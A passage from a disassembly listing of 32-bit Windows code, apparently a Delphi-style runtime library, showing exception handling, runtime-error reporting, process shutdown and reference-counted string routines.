XREF: .text:400043A8j mov al, 0C8h jmp short loc_4000441F ; --------------------------------------------------------------------------- loc_40004405: ; CODE XREF: .text:400043DFj mov al, 0D7h jmp short loc_4000441F ; --------------------------------------------------------------------------- loc_40004409: ; CODE XREF: .text:400043B9j ; .text:400043D9j mov al, 0CEh jmp short loc_4000441F ; --------------------------------------------------------------------------- loc_4000440D: ; CODE XREF: .text:400043AFj mov al, 0D8h jmp short loc_4000441F ; --------------------------------------------------------------------------- loc_40004411: ; CODE XREF: .text:400043D2j mov al, 0DAh jmp short loc_4000441F ; --------------------------------------------------------------------------- loc_40004415: ; CODE XREF: .text:400043EDj mov al, 0D9h jmp short loc_4000441F ; --------------------------------------------------------------------------- loc_40004419: ; CODE XREF: .text:400043E8j mov al, 0CAh jmp short loc_4000441F ; --------------------------------------------------------------------------- loc_4000441D: ; CODE XREF: .text:400043BBj ; .text:400043C9j ... mov al, 0FFh loc_4000441F: ; CODE XREF: .text:400043F3j ; .text:400043F7j ... movzx eax, al mov edx, [edx+0Ch] call sub_40002CF8 ; --------------------------------------------------------------------------- pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h loc_40004430: ; DATA XREF: sub_400044D0+Do mov eax, [esp+4] test dword ptr [eax+4], 6 jnz loc_400044CA cmp byte_4001A028, 0 ja short loc_40004459 lea eax, [esp+4] push eax call sub_40001190 ; UnhandledExceptionFilter cmp eax, 0 jz short loc_400044CA loc_40004459: ; CODE XREF: .text:40004448j mov eax, [esp+4] cld call sub_40003C58 mov edx, [esp+8] push 0 push eax push offset loc_40004476 push edx call ds:off_4001C018 loc_40004476: ; DATA XREF: .text:4000446Ao mov ebx, [esp+4] cmp dword ptr [ebx], 0EEDFADEh mov edx, [ebx+14h] mov eax, [ebx+18h] jz short loc_400044A5 mov edx, ds:off_4001C010 test edx, edx jz loc_40004390 mov eax, ebx call edx ; sub_4000B654 test eax, eax jz loc_40004390 mov edx, [ebx+0Ch] loc_400044A5: ; CODE XREF: .text:40004486j call sub_400040B8 mov ecx, ds:off_4001C004 test ecx, ecx jz short loc_400044B6 call ecx ; sub_4000B71C loc_400044B6: ; CODE XREF: .text:400044B2j mov ecx, [esp+4] mov eax, 0D9h mov edx, [ecx+14h] mov [esp], edx jmp sub_40004878 ; --------------------------------------------------------------------------- loc_400044CA: ; CODE XREF: .text:4000443Bj ; .text:40004457j xor eax, eax retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_400044D0 proc near ; CODE XREF: sub_400045E4+2Ep xor edx, edx lea eax, [ebp-0Ch] mov ecx, fs:[edx] mov fs:[edx], eax mov [eax], ecx mov dword ptr [eax+4], offset loc_40004430 mov [eax+8], ebp mov ds:dword_4001E7CC, eax retn sub_400044D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_400044F0 proc near ; CODE XREF: sub_40004790:loc_4000481Dp xor edx, edx mov eax, ds:dword_4001E7CC test eax, eax jz short locret_40004517 mov ecx, fs:[edx] cmp eax, ecx jnz short loc_4000450A mov eax, [eax] mov fs:[edx], eax retn ; --------------------------------------------------------------------------- loc_40004508: ; CODE XREF: sub_400044F0+21j mov ecx, [ecx] loc_4000450A: ; CODE XREF: sub_400044F0+10j cmp ecx, 0FFFFFFFFh jz short locret_40004517 cmp [ecx], eax jnz short loc_40004508 mov eax, [eax] mov [ecx], eax locret_40004517: ; CODE XREF: sub_400044F0+9j ; sub_400044F0+1Dj retn sub_400044F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40004518 proc near ; CODE XREF: sub_40004518+4Ep ; sub_4000457C+52p ... push ebp mov ebp, esp push ebx push esi push edi mov eax, ds:off_4001E7D0 test eax, eax jz short loc_40004575 mov ebx, ds:dword_4001E7D4 mov edi, [eax+4] xor eax, eax push ebp push offset loc_40004561 push dword ptr fs:[eax] mov fs:[eax], esp test ebx, ebx jle short loc_40004557 loc_40004542: ; CODE XREF: sub_40004518+3Dj dec ebx mov ds:dword_4001E7D4, ebx mov esi, [edi+ebx*8+4] test esi, esi jz short loc_40004553 call esi loc_40004553: ; CODE XREF: sub_40004518+37j test ebx, ebx jg short loc_40004542 loc_40004557: ; CODE XREF: sub_40004518+28j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx jmp short loc_40004575 ; --------------------------------------------------------------------------- loc_40004561: ; DATA XREF: sub_40004518+1Bo jmp sub_400040D8 ; --------------------------------------------------------------------------- call sub_40004518 call sub_4000430C call sub_40004360 loc_40004575: ; CODE XREF: sub_40004518+Dj ; sub_40004518+47j pop edi pop esi pop ebx pop ebp retn sub_40004518 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000457C proc near ; CODE XREF: sub_400045E4+3Ap var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, ds:off_4001E7D0 test eax, eax jz short loc_400045DD mov edi, [eax] xor ebx, ebx mov eax, [eax+4] mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_400045C9 push dword ptr fs:[eax] mov fs:[eax], esp cmp edi, ebx jle short loc_400045BF loc_400045A8: ; CODE XREF: sub_4000457C+41j mov eax, [ebp+var_4] mov esi, [eax+ebx*8] inc ebx mov ds:dword_4001E7D4, ebx test esi, esi jz short loc_400045BB call esi loc_400045BB: ; CODE XREF: sub_4000457C+3Bj cmp edi, ebx jg short loc_400045A8 loc_400045BF: ; CODE XREF: sub_4000457C+2Aj xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx jmp short loc_400045DD ; --------------------------------------------------------------------------- loc_400045C9: ; DATA XREF: sub_4000457C+1Do jmp sub_400040D8 ; --------------------------------------------------------------------------- call sub_40004518 call sub_4000430C call sub_40004360 loc_400045DD: ; CODE XREF: sub_4000457C+Ej ; sub_4000457C+4Bj pop edi pop esi pop ebx pop ecx pop ebp retn sub_4000457C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_400045E4 proc near ; CODE XREF: sub_40006474+3Ap mov ds:off_4001C014, offset sub_40001168 mov ds:off_4001C018, offset sub_40001178 mov ds:off_4001E7D0, eax xor eax, eax mov ds:dword_4001E7D4, eax mov ds:off_4001E7D8, edx mov eax, [edx+4] mov ds:dword_4001C030, eax call sub_400044D0 mov ds:byte_4001C038, 0 call sub_4000457C retn sub_400045E4 endp ; =============== S U B R O U T I N E ======================================= sub_40004624 proc near ; CODE XREF: sub_400190AC+1Fp push ebx xor ebx, ebx push edi push esi mov edi, [eax+ebx] lea esi, [eax+ebx+4] loc_40004630: ; CODE XREF: sub_40004624+1Fj mov eax, [esi+4] mov edx, [esi] mov eax, [eax+ebx] add edx, ebx call sub_400062F0 add esi, 8 dec edi jnz short loc_40004630 pop esi pop edi pop ebx retn sub_40004624 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000464C proc near ; CODE XREF: sub_400190AC+29p push ebx xor ebx, ebx push edi push esi mov edi, [eax+ebx] lea esi, [eax+ebx+4] loc_40004658: ; CODE XREF: sub_4000464C+1Ej mov eax, [esi+4] mov edx, [esi] mov eax, [eax+ebx] add eax, [esi+8] mov [edx+ebx], eax add esi, 0Ch dec edi jnz short loc_40004658 pop esi pop edi pop ebx retn sub_4000464C endp ; =============== S U B R O U T I N E ======================================= sub_40004670 proc near ; CODE XREF: sub_40004790+31p push ebx push esi push edi mov edi, offset aRuntimeErrorAt ; "Runtime error at 00000000" mov bl, 10h mov esi, dword_4001A000 loc_40004680: ; CODE XREF: sub_40004670+32j mov eax, esi mov ecx, 0Ah cdq idiv ecx add dl, 30h movzx eax, bl mov [edi+eax], dl mov ecx, 0Ah mov eax, esi cdq idiv ecx mov esi, eax dec ebx test esi, esi jnz short loc_40004680 mov bl, 1Ch mov esi, dword_4001A004 loc_400046AC: ; CODE XREF: sub_40004670+5Ej mov eax, esi and eax, 0Fh movzx eax, byte_4001A7A0[eax] movzx edx, bl mov [edi+edx], al mov ecx, 10h mov eax, esi xor edx, edx div ecx mov esi, eax dec ebx test esi, esi jnz short loc_400046AC pop edi pop esi pop ebx retn sub_40004670 endp ; =============== S U B R O U T I N E ======================================= sub_400046D4 proc near ; CODE XREF: sub_40004790+A1p xor eax, eax xchg eax, dword_4001A000 neg eax sbb eax, eax inc eax mov edi, offset dword_4001E7C8 mov ebx, [edi+18h] mov ebp, [edi+14h] push dword ptr [edi+1Ch] push dword ptr [edi+20h] mov esi, [edi] mov ecx, 0Bh rep movsd pop edi pop esi leave retn 0Ch sub_400046D4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40004704 proc near ; CODE XREF: sub_40004790+36p var_4 = byte ptr -4 push ecx cmp ds:byte_4001C04C, 0 jz short loc_40004765 cmp ds:word_4001C220, 0D7B2h jnz short loc_4000472D cmp ds:dword_4001C228, 0 jbe short loc_4000472D mov eax, offset dword_4001C21C call ds:dword_4001C238 loc_4000472D: ; CODE XREF: sub_40004704+13j ; sub_40004704+1Cj push 0 lea eax, [esp+8+var_4] push eax push 1Eh push offset aRuntimeErrorAt ; "Runtime error at 00000000" push 0FFFFFFF5h call sub_40001160 ; GetStdHandle push eax call sub_40001198 ; WriteFile push 0 lea eax, [esp+8+var_4] push eax push 2 push offset dword_4000478C push 0FFFFFFF5h call sub_40001160 ; GetStdHandle push eax call sub_40001198 ; WriteFile pop edx retn ; --------------------------------------------------------------------------- loc_40004765: ; CODE XREF: sub_40004704+8j cmp byte_4001A030, 0 jnz short loc_40004781 push 0 push offset aError ; "Error" push offset aRuntimeErrorAt ; "Runtime error at 00000000" push 0 call sub_400011B0 ; MessageBoxA loc_40004781: ; CODE XREF: sub_40004704+68j pop edx retn sub_40004704 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 2 dword_4000478C dd 0A0Dh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40004790 proc near ; CODE XREF: sub_4000486C+5p ; .itext:40019ADDp push ebx push esi push edi push ebp mov ebx, offset dword_4001E7C8 mov edi, offset dword_4001C048 cmp byte ptr [ebx+28h], 0 jnz short loc_400047B8 cmp dword ptr [edi], 0 jz short loc_400047B8 loc_400047A9: ; CODE XREF: sub_40004790+26j mov eax, [edi] mov esi, eax xor eax, eax mov [edi], eax call esi cmp dword ptr [edi], 0 jnz short loc_400047A9 loc_400047B8: ; CODE XREF: sub_40004790+12j ; sub_40004790+17j cmp dword_4001A004, 0 jz short loc_400047D2 call sub_40004670 call sub_40004704 xor eax, eax mov dword_4001A004, eax loc_400047D2: ; CODE XREF: sub_40004790+2Fj ; sub_40004790+D2j cmp byte ptr [ebx+28h], 2 jnz short loc_400047E6 cmp dword_4001A000, 0 jnz short loc_400047E6 xor eax, eax mov [ebx+0Ch], eax loc_400047E6: ; CODE XREF: sub_40004790+46j ; sub_40004790+4Fj call sub_40004518 cmp byte ptr [ebx+28h], 1 jbe short loc_400047FA cmp dword_4001A000, 0 jz short loc_4000481D loc_400047FA: ; CODE XREF: sub_40004790+5Fj mov edi, [ebx+10h] test edi, edi jz short loc_4000481D mov eax, edi call sub_40006194 mov ebp, [ebx+10h] mov esi, [ebp+10h] cmp esi, [ebp+4] jz short loc_4000481D test esi, esi jz short loc_4000481D push esi call sub_400011C8 ; FreeLibrary loc_4000481D: ; CODE XREF: sub_40004790+68j ; sub_40004790+6Fj ... call sub_400044F0 cmp byte ptr [ebx+28h], 1 jnz short loc_4000482B call dword ptr [ebx+24h] loc_4000482B: ; CODE XREF: sub_40004790+96j cmp byte ptr [ebx+28h], 0 jz short loc_40004836 call sub_400046D4 loc_40004836: ; CODE XREF: sub_40004790+9Fj cmp dword ptr [ebx], 0 jnz short loc_40004855 cmp ds:dword_4001C028, 0 jz short loc_4000484A call ds:dword_4001C028 loc_4000484A: ; CODE XREF: sub_40004790+B2j mov eax, dword_4001A000 push eax call sub_400011A8 ; ExitProcess loc_40004855: ; CODE XREF: sub_40004790+A9j mov eax, [ebx] mov esi, eax mov edi, ebx mov ecx, 0Bh rep movsd jmp loc_400047D2 sub_40004790 endp ; sp-analysis failed ; --------------------------------------------------------------------------- pop ebp pop edi pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4000486C proc near ; CODE XREF: sub_40002CF8+6p ; sub_40004878+6j ... mov dword_4001A000, eax call sub_40004790 sub_4000486C endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40004878 proc near ; CODE XREF: sub_400030B4+14j ; sub_400042E4+9p ... pop dword_4001A004 jmp sub_4000486C sub_40004878 endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_40004884 proc near ; CODE XREF: sub_40002FF8+Fp ; sub_40004974+23p ... mov edx, [eax] test edx, edx jz short locret_400048A6 mov dword ptr [eax], 0 mov ecx, [edx-8] dec ecx jl short locret_400048A6 lock dec dword ptr [edx-8] jnz short locret_400048A6 push eax lea eax, [edx-8] call sub_40002C3C pop eax locret_400048A6: ; CODE XREF: sub_40004884+4j ; sub_40004884+10j ... retn sub_40004884 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_400048A8 proc near ; CODE XREF: sub_40005314+56p ; sub_40006A2C+7Ap ... push ebx push esi mov ebx, eax mov esi, edx loc_400048AE: ; CODE XREF: sub_400048A8+2Aj mov edx, [ebx] test edx, edx jz short loc_400048CE mov dword ptr [ebx], 0 mov ecx, [edx-8] dec ecx jl short loc_400048CE lock dec dword ptr [edx-8] jnz short loc_400048CE lea eax, [edx-8] call sub_40002C3C loc_400048CE: ; CODE XREF: sub_400048A8+Aj ; sub_400048A8+16j ... add ebx, 4 dec esi jnz short loc_400048AE pop esi pop ebx retn sub_400048A8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_400048D8 proc near ; CODE XREF: sub_40004B50+8j ; sub_40004B94+6j ... test edx, edx jz short loc_40004900 mov ecx, [edx-8] inc ecx jg short loc_400048FC push eax push edx mov eax, [edx-4] call sub_40004948 mov edx, eax pop eax push edx mov ecx, [eax-4] call sub_40002DFC pop edx pop eax jmp short loc_40004900 ; --------------------------------------------------------------------------- loc_400048FC: ; CODE XREF: sub_400048D8+8j lock inc dword ptr [edx-8] loc_40004900: ; CODE XREF: sub_400048D8+2j ; sub_400048D8+22j xchg edx, [eax] test edx, edx jz short locret_4000491A mov ecx, [edx-8] dec ecx jl short locret_4000491A lock dec dword ptr [edx-8] jnz short locret_4000491A lea eax, [edx-8] call sub_40002C3C locret_4000491A: ; CODE XREF: sub_400048D8+2Cj ; sub_400048D8+32j ... retn sub_400048D8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000491C proc near ; CODE XREF: sub_40009414+58p ; sub_40009590+57p ... test edx, edx jz short loc_4000492A mov ecx, [edx-8] inc ecx jle short loc_4000492A lock inc dword ptr [edx-8] loc_4000492A: ; CODE XREF: sub_4000491C+2j ; sub_4000491C+8j xchg edx, [eax] test edx, edx jz short locret_40004944 mov ecx, [edx-8] dec ecx jl short locret_40004944 lock dec dword ptr [edx-8] jnz short locret_40004944 lea eax, [edx-8] call sub_40002C3C locret_40004944: ; CODE XREF: sub_4000491C+12j ; sub_4000491C+18j ... retn sub_4000491C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40004948 proc near ; CODE XREF: sub_400048D8+Fp ; sub_40004974+Bp ... test eax, eax jle short loc_40004970 push eax add eax, 0Ah and eax, 0FFFFFFFEh push eax call sub_40002C20 pop edx mov word ptr [edx+eax-2], 0 add eax, 8 pop edx mov [eax-4], edx mov dword ptr [eax-8], 1 retn ; --------------------------------------------------------------------------- loc_40004970: ; CODE XREF: sub_40004948+2j xor eax, eax retn sub_40004948 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40004974 proc near ; CODE XREF: sub_40002FF8+2Fp ; sub_400049E0+4Ep ... push ebx push esi push edi mov ebx, eax mov esi, edx mov edi, ecx mov eax, edi call sub_40004948 mov ecx, edi mov edi, eax test esi, esi jz short loc_40004995 mov edx, eax mov eax, esi call sub_40002DFC loc_40004995: ; CODE XREF: sub_40004974+16j mov eax, ebx call sub_40004884 mov [ebx], edi pop edi pop esi pop ebx retn sub_40004974 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_400049A4 proc near ; CODE XREF: sub_400049E0+3Bp ; sub_400049E0+6Bp arg_0 = dword ptr 8 push ebp mov ebp, esp push 0 push 0 push edx push eax mov eax, [ebp+arg_0] push eax push ecx push 0 mov eax, ds:dword_4001C5BC push eax call sub_40001250 ; WideCharToMultiByte pop ebp retn 4 sub_400049A4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_400049C4 proc near ; CODE XREF: sub_4000506C+3Bp ; sub_4000506C+69p arg_0 = dword ptr 8 push ebp mov ebp, esp push edx push eax mov eax, [ebp+arg_0] push eax push ecx push 0 mov eax, ds:dword_4001C5BC push eax call sub_40001230 ; MultiByteToWideChar pop ebp retn 4 sub_400049C4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_400049E0 proc near ; CODE XREF: sub_40004AAC:loc_40004ADFj ; sub_40004B0C:loc_40004B17j ... var_1014 = dword ptr -1014h var_1010 = byte ptr -1010h push ebx push esi push edi push ebp add esp, 0FFFFF004h push eax add esp, 0FFFFFFFCh mov esi, ecx mov [esp+1014h+var_1014], edx mov edi, eax test esi, esi jg short loc_40004A02 mov eax, edi call sub_40004884 jmp short loc_40004A61 ; --------------------------------------------------------------------------- loc_40004A02: ; CODE XREF: sub_400049E0+17j lea ebp, [esi+1] cmp ebp, 7FFh jge short loc_40004A35 push esi lea eax, [esp+1018h+var_1010] mov ecx, [esp+1018h+var_1014] mov edx, 0FFFh call sub_400049A4 mov ebx, eax test ebx, ebx jl short loc_40004A35 lea edx, [esp+1014h+var_1010] mov eax, edi mov ecx, ebx call sub_40004974 jmp short loc_40004A61 ; --------------------------------------------------------------------------- loc_40004A35: ; CODE XREF: sub_400049E0+2Bj ; sub_400049E0+44j mov ebx, ebp add ebx, ebx mov eax, edi mov edx, ebx call sub_40004F74 push esi mov eax, [edi] mov ecx, [esp+1018h+var_1014] mov edx, ebx call sub_400049A4 mov ebx, eax test ebx, ebx jge short loc_40004A58 xor ebx, ebx loc_40004A58: ; CODE XREF: sub_400049E0+74j mov eax, edi mov edx, ebx call sub_40004F74 loc_40004A61: ; CODE XREF: sub_400049E0+20j ; sub_400049E0+53j add esp, 1004h pop ebp pop edi pop esi pop ebx retn sub_400049E0 endp ; =============== S U B R O U T I N E ======================================= sub_40004A6C proc near ; CODE XREF: sub_4000ABA4+8Fp ; sub_4000ABA4+196p ... push edx mov edx, esp mov ecx, 1 call sub_40004974 pop edx retn sub_40004A6C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40004A7C proc near ; CODE XREF: sub_400062F0+49p ; sub_40009414+121p ... xor ecx, ecx test edx, edx jz short loc_40004AA3 push edx loc_40004A83: ; CODE XREF: sub_40004A7C+1Dj cmp cl, [edx] jz short loc_40004A9E cmp cl, [edx+1] jz short loc_40004A9D cmp cl, [edx+2] jz short loc_40004A9C cmp cl, [edx+3] jz short loc_40004A9B add edx, 4 jmp short loc_40004A83 ; --------------------------------------------------------------------------- loc_40004A9B: ; CODE XREF: sub_40004A7C+18j inc edx loc_40004A9C: ; CODE XREF: sub_40004A7C+13j inc edx loc_40004A9D: ; CODE XREF: sub_40004A7C+Ej inc edx loc_40004A9E: ; CODE XREF: sub_40004A7C+9j mov ecx, edx pop edx sub ecx, edx loc_40004AA3: ; CODE XREF: sub_40004A7C+4j jmp sub_40004974 sub_40004A7C endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40004AAC proc near ; CODE XREF: sub_400116DC+3DAp ; DATA XREF: sub_4000843E:loc_40008570o xor ecx, ecx test edx, edx jz short loc_40004ADF push edx loc_40004AB3: ; CODE XREF: sub_40004AAC+21j cmp cx, [edx] jz short loc_40004AD8 cmp cx, [edx+2] jz short loc_40004AD5 cmp cx, [edx+4] jz short loc_40004AD2 cmp cx, [edx+6] jz short loc_40004ACF add edx, 8 jmp short loc_40004AB3 ; --------------------------------------------------------------------------- loc_40004ACF: ; CODE XREF: sub_40004AAC+1Cj add edx, 2 loc_40004AD2: ; CODE XREF: sub_40004AAC+16j add edx, 2 loc_40004AD5: ; CODE XREF: sub_40004AAC+10j add edx, 2 loc_40004AD8: ; CODE XREF: sub_40004AAC+Aj mov ecx, edx pop edx sub ecx, edx shr ecx, 1 loc_40004ADF: ; CODE XREF: sub_40004AAC+4j jmp sub_400049E0 sub_40004AAC endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40004AE8 proc near ; CODE XREF: sub_4001293C+B8p ; sub_40013B54+3Cp ... xor ecx, ecx mov cl, [edx] inc edx jmp sub_40004974 sub_40004AE8 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40004AF4 proc near ; CODE XREF: sub_40009414+98p ; sub_40009590+A2p ... push edi push eax push ecx mov edi, edx xor eax, eax repne scasb jnz short loc_40004B01 not ecx loc_40004B01: ; CODE XREF: sub_40004AF4+9j pop eax add ecx, eax pop eax pop edi jmp sub_40004974 sub_40004AF4 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_40004B0C proc near ; CODE XREF: sub_4000CE4C+2Ap ; sub_4000CEB8+2Ap ... xor ecx, ecx test edx, edx jz short loc_40004B17 mov ecx, [edx-4] shr ecx, 1 loc_40004B17: ; CODE XREF: sub_40004B0C+4j jmp sub_400049E0 sub_40004B0C endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40004B20 proc near ; CODE XREF: .text:40015A32p push ebx test edx, edx jz short loc_40004B3D mov ebx, [edx-4] test ebx, ebx jz short loc_40004B3D cmp ecx, ebx jl short loc_40004B32 mov ecx, ebx loc_40004B32: ; CODE XREF: sub_40004B20+Ej mov [eax], cl inc eax xchg eax, edx call sub_40002DFC pop ebx retn ; --------------------------------------------------------------------------- loc_40004B3D: ; CODE XREF: sub_40004B20+3j ; sub_40004B20+Aj mov byte ptr [eax], 0 pop ebx retn sub_40004B20 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40004B44 proc near ; CODE XREF: sub_40003328+3Ep ; sub_40003328+56p ... test eax, eax jz short locret_40004B4D sub eax, 4 mov eax, [eax] locret_40004B4D: ; CODE XREF: sub_40004B44+2j retn sub_40004B44 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40004B50 proc near ; CODE XREF: sub_40004B94+1Dj ; sub_40004B94+6Ej ... test edx, edx jz short locret_40004B93 mov ecx, [eax] test ecx, ecx jz sub_400048D8 push ebx push esi push edi mov ebx, eax mov esi, edx mov edi, [ecx-4] mov edx, [esi-4] add edx, edi cmp esi, ecx jz short loc_40004B88 call sub_40004F74 mov eax, esi mov ecx, [esi-4] loc_40004B7B: ; CODE XREF: sub_40004B50+41j mov edx, [ebx] add edx, edi call sub_40002DFC pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_40004B88: ; CODE XREF: sub_40004B50+1Fj call sub_40004F74 mov eax, [ebx] mov ecx, edi jmp short loc_40004B7B ; --------------------------------------------------------------------------- locret_40004B93: ; CODE XREF: sub_40004B50+2j retn sub_40004B50 endp ; =============== S U B R O U T I N E ======================================= sub_40004B94 proc near ; CODE XREF: sub_4001293C+E2p ; sub_4001293C+F5p ... test edx, edx jz short loc_40004BF9 test ecx, ecx jz sub_400048D8 cmp edx, [eax] jz short loc_40004C00 cmp ecx, [eax] jz short loc_40004BB6 push eax push ecx call sub_400048D8 pop edx pop eax jmp sub_40004B50 ; --------------------------------------------------------------------------- loc_40004BB6: ; CODE XREF: sub_40004B94+12j push ebx push esi push edi mov ebx, edx mov esi, ecx push eax mov eax, [ebx-4] add eax, [esi-4] call sub_40004948 mov edi, eax mov edx, eax mov eax, ebx mov ecx, [ebx-4] call sub_40002DFC mov edx, edi mov eax, esi mov ecx, [esi-4] add edx, [ebx-4] call sub_40002DFC pop eax mov edx, edi test edi, edi jz short loc_40004BF0 dec dword ptr [edi-8] loc_40004BF0: ; CODE XREF: sub_40004B94+57j call sub_400048D8 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_40004BF9: ; CODE XREF: sub_40004B94+2j mov edx, ecx jmp sub_400048D8 ; --------------------------------------------------------------------------- loc_40004C00: ; CODE XREF: sub_40004B94+Ej mov edx, ecx jmp sub_40004B50 sub_40004B94 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_40004C08 proc near ; CODE XREF: sub_4000BE64+27Bp ; sub_4000BE64+298p ... var_14 = dword ptr -14h push ebx push esi push edi push edx push eax mov ebx, edx xor edi, edi mov ecx, [esp+edx*4+14h] test ecx, ecx jz short loc_40004C25 cmp [eax], ecx jnz short loc_40004C25 mov edi, ecx mov eax, [ecx-4] dec edx jmp short loc_40004C27 ; --------------------------------------------------------------------------- loc_40004C25: ; CODE XREF: sub_40004C08+Fj ; sub_40004C08+13j xor eax, eax loc_40004C27: ; CODE XREF: sub_40004C08+1Bj ; sub_40004C08+31j mov ecx, [esp+edx*4+14h] test ecx, ecx jz short loc_40004C38 add eax, [ecx-4] cmp edi, ecx jnz short loc_40004C38 xor edi, edi loc_40004C38: ; CODE XREF: sub_40004C08+25j ; sub_40004C08+2Cj dec edx jnz short loc_40004C27 test edi, edi jz short loc_40004C56 mov edx, eax mov eax, [esp+14h+var_14] mov esi, [edi-4] call sub_40004F74 mov edi, [esp+14h+var_14] push dword ptr [edi] add esi, [edi] dec ebx jmp short loc_40004C5E ; --------------------------------------------------------------------------- loc_40004C56: ; CODE XREF: sub_40004C08+35j call sub_40004948 push eax mov esi, eax loc_40004C5E: ; CODE XREF: sub_40004C08+4Cj ; sub_40004C08+6Bj mov eax, [esp+ebx*4+18h] mov edx, esi test eax, eax jz short loc_40004C72 mov ecx, [eax-4] add esi, ecx call sub_40002DFC loc_40004C72: ; CODE XREF: sub_40004C08+5Ej dec ebx jnz short loc_40004C5E pop edx pop eax test edi, edi jnz short loc_40004C87 test edx, edx jz short loc_40004C82 dec dword ptr [edx-8] loc_40004C82: ; CODE XREF: sub_40004C08+75j call sub_400048D8 loc_40004C87: ; CODE XREF: sub_40004C08+71j pop edx pop edi pop esi pop ebx pop eax lea esp, [esp+edx*4] jmp eax sub_40004C08 endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40004C94 proc near ; CODE XREF: sub_40017944+4Cp push ebx push esi push edi mov esi, eax mov edi, edx cmp eax, edx jz loc_40004D32 test esi, esi jz short loc_40004D0F test edi, edi jz short loc_40004D16 mov eax, [esi-4] mov edx, [edi-4] sub eax, edx ja short loc_40004CB7 add edx, eax loc_40004CB7: ; CODE XREF: sub_40004C94+1Fj push edx shr edx, 2 jz short loc_40004CE3 loc_40004CBD: ; CODE XREF: sub_40004C94+45j mov ecx, [esi] mov ebx, [edi] cmp ecx, ebx jnz short loc_40004D1D dec edx jz short loc_40004CDD mov ecx, [esi+4] mov ebx, [edi+4] cmp ecx, ebx jnz short loc_40004D1D add esi, 8 add edi, 8 dec edx jnz short loc_40004CBD jmp short loc_40004CE3 ; --------------------------------------------------------------------------- loc_40004CDD: ; CODE XREF: sub_40004C94+32j add esi, 4 add edi, 4 loc_40004CE3: ; CODE XREF: sub_40004C94+27j ; sub_40004C94+47j pop edx and edx, 3 jz short loc_40004D0B mov ecx, [esi] mov ebx, [edi] cmp cl, bl jnz short loc_40004D32 dec edx jz short loc_40004D0B cmp ch, bh jnz short loc_40004D32 dec edx jz short loc_40004D0B and ebx, 0FF0000h and ecx, 0FF0000h cmp ecx, ebx jnz short loc_40004D32 loc_40004D0B: ; CODE XREF: sub_40004C94+53j ; sub_40004C94+5Ej ... add eax, eax jmp short loc_40004D32 ; --------------------------------------------------------------------------- loc_40004D0F: ; CODE XREF: sub_40004C94+11j mov edx, [edi-4] sub eax, edx jmp short loc_40004D32 ; --------------------------------------------------------------------------- loc_40004D16: ; CODE XREF: sub_40004C94+15j mov eax, [esi-4] sub eax, edx jmp short loc_40004D32 ; --------------------------------------------------------------------------- loc_40004D1D: ; CODE XREF: sub_40004C94+2Fj ; sub_40004C94+3Cj pop edx cmp cl, bl jnz short loc_40004D32 cmp ch, bh jnz short loc_40004D32 shr ecx, 10h shr ebx, 10h cmp cl, bl jnz short loc_40004D32 cmp ch, bh loc_40004D32: ; CODE XREF: sub_40004C94+9j ; sub_40004C94+5Bj ... pop edi pop esi pop ebx retn sub_40004C94 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40004D38 proc near ; CODE XREF: sub_4000679C+Dp ; sub_4000684C+Dp ... test eax, eax jz short locret_40004D46 mov edx, [eax-8] inc edx jle short locret_40004D46 lock inc dword ptr [eax-8] locret_40004D46: 